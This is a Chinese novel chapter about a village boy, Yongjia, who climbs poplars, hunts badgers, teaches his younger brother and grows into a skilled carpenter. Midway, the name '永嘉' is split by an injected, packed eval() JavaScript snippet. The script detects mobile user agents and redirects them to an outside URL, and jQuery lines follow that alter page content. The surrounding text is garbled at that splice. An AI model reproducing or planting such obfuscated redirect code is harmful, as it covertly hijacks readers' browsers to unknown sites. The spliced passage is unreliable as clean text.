44.杨花又落时


    村东头的风总带着股杨树叶的腥气，像是被揉碎的青核桃皮混着露水浸泡过的铁锈味。那片挨挨挤挤的杨树林是我们的地盘，每棵树都认得我们的脚印。永嘉哥家就在树林西头，三间土坯房像被晒蔫了的倭瓜，陷在黄土里。墙皮裂得像老树皮，下雨时能数出二十七个漏雨点，永飞娘总在屋里摆着大大小小的盆罐，叮叮当当能响到后半夜。雨水顺着椽子往下滴，在陶罐里敲出不同的音调，永嘉哥说这是老天爷在教他们唱歌。


    南头的小厨房更像片随时会被风卷走的杨树叶，几根歪脖子椽子挑着油毡，每逢刮大风就噗啦啦响，像要挣脱地面飞走似的。门后那口井是全村最深的，井绳磨得发亮，永嘉哥说那绳子上的毛刺比他爹的木锉还扎手。我们蹲在井台边看井底时，总觉得那汪水像块浸了月光的玻璃，能照见天上的云彩在里头慢慢飘。有时井水会映出我们的脸，被波纹揉碎又拼凑，永嘉哥说这是井在记住我们的模样。


    我最早记住永嘉哥，是因为他爬树的样子。那年开春，我家后墙的老杨树上来了群灰麻雀，它们把窝搭在最高的树杈上，整天叽叽喳喳吵得人睡不着。那棵杨树得两个我才能抱拢，树干光溜溜的，树瘤子长得比算盘珠还小，村里最胆大的二柱子试过三次，爬到丈把高就滑下来，裤裆磨出个破洞，被他娘追着打了半条街。二柱子揉着屁股哭嚎时，永嘉哥正蹲在井台边磨镰刀，火星子溅进井里，发出嘶嘶的响声。


    "我来。"永嘉哥往手心啐唾沫时，杨树叶的影子在他脸上晃。他穿件洗得发蓝的粗布褂子，袖口磨出的毛边像蒲公英的绒毛。我仰着脖子看他往上爬，脚底板碾着树下的杨絮，软乎乎的像踩在棉花上。他的手指抠进树皮裂缝时，指甲缝里立刻塞满了绿霉，膝盖顶着树干发力，粗布裤子磨出片白花花的印子，像落了层霜。阳光透过枝叶的缝隙，在他背上烙下流动的光斑，像许多尾金色的小鱼在游动。


    风从杨树林里穿过来，树叶哗哗响，像有谁在远处拍手。永嘉哥离鸟窝还有两尺远时，忽然停住了，我看见他后背的褂子湿了一大片，汗珠顺着脊梁骨往下淌，在阳光下亮得像银丝。有片杨叶粘在他的脖颈上，随着脉搏轻轻颤动。他忽然把身子一荡，像只老鸹斜斜地飞过去，胳膊肘顶在树杈上，另只手猛地探进鸟窝。整个树冠都跟着晃动起来，杨絮如雪般簌簌落下。


    "抓住了！"多气在底下跳着喊，手里攥着的杨树枝条摇得哗啦啦响。永嘉哥抱着鸟窝往下滑时，树皮把他的胳膊划出了血印子，可他眼睛亮得惊人，像揣了两颗星星。落地时他打了个趔趄，怀里的鸟窝却稳稳的，几只没长毛的雏鸟在干草里哆嗦，嫩红的皮肤像刚剥壳的花生米。有只雏鸟张开黄灿灿的喙，发出细弱的叫声，永嘉哥用指尖碰了碰它的脑袋，那雏鸟竟安静下来。


    "给。"他把鸟窝递给我时，我才发现他的手掌被树瘤子硌出了红印，像朵没开的花。那天我们蹲在杨树下，看永嘉哥用杨树叶编了个新窝，他的手指在叶脉间穿梭，比他爹用刨子还灵巧。风把杨絮吹到雏鸟身上，像盖了层白棉被，永嘉哥忽然笑了，眼角的纹路里落了片杨花，像只停在那儿的白蝴蝶。多气数着鸟窝里的雏鸟，永嘉哥却仰头望着树梢，那里还留着空巢的轮廓，在风里轻轻摇晃。


    后来每个春天，永嘉哥都会带我们去看新来的鸟窝。他教我们分辨各种鸟巢的构造，说灰雀的巢最粗糙，黄鹂的巢像只小箩筐，斑鸠的巢简直就是在敷衍。有时他会从口袋里掏出些谷粒，撒在树根处，说这是给鸟儿的补偿。多气总是学着他哥的样子，踮着脚往树杈上放棉絮，说这样鸟儿做窝时就不愁材料了。


    东窝子的芦苇总比别处长得疯，黄灿灿的穗子能没过人头顶。那年夏天，南崖下的瓜田被獾祸害得不轻，三婶家的西瓜被咬得全是窟窿，红瓤子流在地里，招了满田的绿头苍蝇。永嘉哥蹲在瓜田边，手指捏着块带牙印的瓜皮，指甲缝里还沾着早上修农具的机油。他把瓜皮凑到鼻尖闻了闻，眉头皱成个疙瘩。远处的杨树林沙沙作响，像是也在为被糟蹋的瓜田叹气。


    "今晚去熏。"他说话时，杨树林的影子正爬到他脚边。二柱子啃着半块甜瓜嘟囔："东窝子有瘴气，我爷说进去就出不来。"永嘉哥把瓜皮往地上一摔，汁水溅在他的布鞋上："再不去，你家的玉米都要成獾的口粮。"他的布鞋已经破得露出脚趾，可踩在瓜汁上的样子依然稳当，像棵扎了根的杨树。


    多气也想跟着，被永嘉哥按在杨树干上。"你留着，"他扯了根杨树枝条塞给弟弟，"数清楚树上有多少个鸟窝。"夕阳把东窝子的芦苇染成了火红色，他们抱着麦秸钻进那片红里，背影越来越小，像被烧掉的纸灰。多气攥着杨树枝条的手在发抖，枝条上的叶片窸窣作响，像在安慰他。


    我和多气趴在打麦场的草垛上，草叶上的露水打湿了裤腿，凉丝丝的像贴了块冰。远处的蛙鸣此起彼伏，月亮从杨树林后面慢慢爬上来，像个被啃了一半的烙饼。多气不停地数着树上的鸟窝，数到第七个就乱了，又从头开始数。草垛里藏着几只蟋蟀，嚯嚯地叫着，多气说它们在给獾报信。


    东窝子那边先是冒起缕青烟，细得像根棉线，风一吹就歪歪扭扭地缠在芦苇上。接着烟越来越浓，黑沉沉地滚起来，把半边天都染成了墨色，连天上的月牙都像被熏黑了。多气拽着我的胳膊，手指抖得像片杨树叶。他的眼睛瞪得圆圆的，倒映着远处的火光。


    烟忽然塌下去一块，露出后面灰蓝色的天，接着又猛地涌起来，比刚才更凶，连杨树林里的风都带着股焦糊味。二柱子他哥跑回来时，脸黑得像涂了锅底灰，只有眼珠子在月光下亮得吓人，他抓着麦秸往回跑，草屑从怀里漏出来，在地上撒成条虚线。"快逮着了！"他喊着跑远了，声音撞在杨树干上，弹回来时散成了碎片。


    我数着他的脚步声，数到第二十七下，听见东窝子那边传来吆喝，还有什么东西倒地的闷响。多气跳起来拍手："抓住了！肯定抓住了！"他的笑声在夜色里传得很远，惊起了杨树林里的几只夜鸟。


    可他们回来时，手里空空的。永嘉哥走在最前头，脸上的黑灰被汗水冲出道道白印，像幅没画完的画。二柱子哭丧着脸说，獾从另个洞口钻了，他伸手去堵，被爪子挠了道血口子，粗布裤腿上的血渍在月光下紫得发黑。血珠顺着腿肚子往下淌，滴在黄土上，变成深色的斑点。


    "哭啥。"永嘉哥把自己的褂子撕成条，给二柱子缠腿。他光着的脊梁上沾着草籽，被月光照得像撒了把碎银。"明年它们再来，咱挖个陷阱。"他往东窝子那边瞅，芦苇在风里摇得厉害，像有无数黑影在里头晃。多气悄悄把杨树枝条插在二柱子家瓜田边，说这样能保佑明年不再遭獾害。


    那年秋天，永嘉哥真的带着我们在瓜田边挖了陷阱。他挖土的样子很认真，每铲土都要拍实，陷阱底铺上干草，边上插着削尖的杨树枝。多气负责望风，坐在杨树杈上，腿在空中晃荡。陷阱挖好的那天，永嘉哥往里面放了块烤红薯，说是给獾的最后一餐。可惜直到落雪，陷阱里只掉进去过一只野兔，永嘉哥把它放生了，说等开春再来收拾獾。


    永嘉和多气慢慢长大，上学需要用钱。永嘉哥就不去疯跑了，他在杨树林里开垦了片地，种上棉花和芝麻。我路过时总看见他在地里忙活，镰刀割芝麻的样子和当年爬树一样稳，芝麻杆倒在地上，排列得比他爹刨的木料还整齐。有时他会直起腰，望着杨树林发呆，汗水从下巴滴进土里，很快就不见了踪影。


    有回我看见他教多气认字，在杨树干上用木炭写字，"人"字写得像两根并排的树枝。多气总写不好，他就握着弟弟的手，在树干上慢慢划，杨树皮被划出细碎的木屑，像撒了把碎金子。阳光透过枝叶照下来，那些木屑闪闪发光，多气的睫毛上也落了金粉。后来那棵杨树上刻满了字，远远看去像披了件缀满符咒的衣裳。


    永


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377480|183542||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    嘉哥的木匠手艺越来越好，他能用杨木雕出会唱歌的鸟，翅膀底下藏着小小的哨子。多气总把木鸟揣在怀里，跑步时就会发出呜噜呜噜的声响，像真的鸟儿在叫。村里人都说永嘉哥的手艺比他爹还强，他爹做的纺车能纺出均匀的线，永嘉哥做的纺车却能纺出带花纹的线。


    我去镇上上学那天，永嘉哥来送我。他穿件新褂子，是用他爹做嫁妆剩下的木料换的布，袖口还留着淡淡的松木香。杨树林的风卷着杨絮，落在他的头发上，像撒了把白盐。"到了学校，"他往我包里塞了个烤红薯，烫得我手直缩，"好好学，比爬树有用。"他的手掌粗糙得像杨树皮，可眼神比井水还清澈。


    自行车轱辘压过黄土路，杨树林往后退，像被拉散的线。永嘉哥站在村口，多气拽着他的衣角，手里还捏着片杨树叶。阳光穿过树叶的缝隙，在他脸上晃出明明灭灭的光斑，我忽然想起他爬树掏鸟窝的样子，那时他的影子落在地上，像棵年轻的杨树，根扎在土里，梢顶着天。多气突然追着自行车跑起来，把杨树叶塞进我的车筐，叶片打着旋儿，像只绿色的蝴蝶。


    镇上的学堂很大，教室里的桌子都比永嘉哥家的饭桌光溜。我在作业本上写字时，总会想起永嘉哥在杨树上刻字的样子。有时先生教到"杨"字，我就会在纸上多画几片叶子。同桌的姑娘问我为什么笑，我说想起家里的杨树林了，她说杨树有什么好想的，又不会开花。我没告诉她，杨树会下雪，春天的杨絮比雪花还轻。


    放假回村时，永嘉哥的木匠铺已经开张了。他做了个很大的招牌，用杨木雕成叶子的形状，挂在铺子门口。多气在铺子里帮忙刨木头，刨花堆得满地都是。永嘉哥给我看了他新做的家具，榫卯严丝合缝，像天生就长在一起。有张梳妆台上雕着杨树叶的花纹，叶脉清晰得仿佛能滴出露水。他说这是给邻村姑娘做的嫁妆，那姑娘想要件带杨树的家具，因为是在杨树林里相识的。


    去年我回村，看见永嘉哥在杨树林边盖了新房，红砖墙在太阳下亮得晃眼。多气考上了大学，暑假回来帮他打理木匠铺，说哥现在是镇上有名的手艺人，做的家具要提前半年订。新房子的屋檐下挂着风铃，是用杨木片做的，风吹过时发出清脆的响声，像许多鸟儿在唱歌。


    我走进铺子里时，永嘉哥正刨着块松木。刨花卷着旋儿落在地上，堆得像座小山，甜香里混着杨树叶的清苦。他抬头时，眼角的皱纹比杨树皮的缝还深，可握刨子的手还是那么稳，刨刃划过木头的声音，和当年他爬树时树叶的哗哗声，竟有些像。阳光从窗口照进来，刨花在光柱里飞舞，像被惊起的杨絮。


    "回来了。"他笑起来，露出两排白牙。窗外的杨树林绿得发亮，风吹过树梢，把鸟叫声送进来，叽叽喳喳的，像许多年前那个春天，他刚从树上下来，怀里抱着个暖暖的鸟窝。多气从里屋出来，手里拿着本厚厚的书，书页间夹着片杨树叶书签，叶脉被压得清晰可见。


    傍晚时分，我们坐在杨树林里乘凉。永嘉哥指着最高的那棵杨树说，上面还有灰雀窝，比当年的那个还要大。说着他起身朝手心啐了口唾沫，我和多气都笑了。他摇摇头也笑起来，眼角的皱纹里盛着夕阳的光。风吹过杨树林，树叶哗哗响，像许多人在轻轻鼓掌。永嘉哥眯着眼睛听了一会儿，说这声音和井水滴进陶罐的声音配在一起，最好听。


    暮色渐浓时，新房里的灯亮了，透过窗户玻璃照出来，温柔得像月光。永嘉哥的身影投在窗户玻璃上，微微晃动着，像棵在风里摇摆的杨树。多气轻声说，哥最近在学雕花，要在新房的门窗上都雕上杨树叶。我想起许多年前那个爬树的少年，他手心硌出的红印，如今都化作了木头上的花纹。


    夜色完全笼罩村庄时，杨树林变成了一片墨色的海。永嘉哥屋檐下的亮了起来，风铃叮当作响，惊起几只宿鸟。它们扑棱棱飞向杨树林，翅膀划破夜空的声音，像极了当年那个少年爬树时，衣裳摩擦树皮的声响。